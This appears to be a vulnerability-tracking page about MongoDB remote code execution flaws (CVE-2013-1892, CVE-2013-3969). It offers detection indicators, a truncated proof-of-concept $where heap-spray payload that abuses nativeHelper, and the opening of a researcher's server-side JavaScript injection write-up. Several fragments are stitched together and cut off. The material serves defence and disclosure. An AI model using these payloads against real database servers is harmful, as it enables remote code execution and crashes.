MongoDB before 2.0.9 and 2.2.x before 2.2.4 does not properly validate requests to the nativeHelper function in SpiderMonkey, which allows remote authenticated users to cause a denial of service (invalid memory access and server crash) or execute arbitrary code via a crafted memory address in the first argument.

Detection & IOCsextracted from sources · hover to see the quote
- →Detect exploit attempts by monitoring MongoDB wire protocol traffic on port 27017 for JavaScript payloads containing 'nativeHelper.apply' with a crafted numeric first argument (e.g., object with key 'x' set to a raw memory address). ↗
- →Alert on MongoDB $where clauses containing heap-spray patterns: large loops building NOP sleds via unescape('%u9090%u9090') combined with 'nativeHelper.apply' calls. ↗
- →The exploit requires authenticated access; monitor for authentication attempts against the 'admin' database on MongoDB followed immediately by $where JavaScript execution. ↗
- →The string 'MongoSploit!' appears verbatim in the ROP chain payload and can be used as a network signature to detect exploitation attempts. ↗
- →The exploit uses a fixed ROP gadget address 0x0836e204 (mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]) as the first argument to nativeHelper.apply; presence of this value in $where payloads is a strong indicator. ↗
- →The exploit targets MongoDB 2.2.3 on Linux 32-bit; detection should focus on mongod processes running vulnerable versions (before 2.0.9 or 2.2.x before 2.2.4). ↗
- ·The exploit requires remote authenticated access; unauthenticated MongoDB instances are also vulnerable but the module explicitly supports credential-based authentication, meaning network-level authentication alone does not mitigate the risk. ↗
- ·The published ROP chain and gadget offsets are specific to MongoDB 2.2.3 32-bit Linux builds; different versions or architectures will have different gadget addresses, so detection based solely on hardcoded addresses may miss adapted exploits. ↗
- ·The exploit can optionally create a new random collection if none is specified, meaning collection-name-based detection is unreliable; the attacker-controlled collection name is randomized. ↗
- ·OpenShift Enterprise 1 was marked 'Will not fix' for this CVE, meaning deployments on that platform remain permanently vulnerable. ↗

The following PoC exploits the "nativeHelper" feature in the spidermonkey mongodb implementation.
the NativeFunction "func" come from "x" javascript object and then is called without any check:
db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropcha

CVE-2013-3969 MongoDB: remote code execution via javascript
Similar to CVE-2013-1892, it was reported [1] that MongoDB suffers from remote code execution This flaw requires read-write access to the MongoDB database to execute arbitrary code; however it looks as though read-only access could be used to cause the database to crash.
It is unknown whether this flaw was introduced in 2.2.3 with the change to using the V8 Javascript engine, or if it also affects earlier versions.

Discussion:
CVE request is here:
http://openwall.com/lists/oss-security/2013/07/17/2
At least 2.2.3 through to and including 2.4.4 are vulnerable. Upstream has indicated that they are currently working on a fix.

Lucky discovery
Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :
> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
Unfortunately, this command is only effective in mongo client :
> db.my_collection.find({$where:"run('ls')"})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
"code" : 10071
}
But let’s dig a little bit.
> run
function () {
return
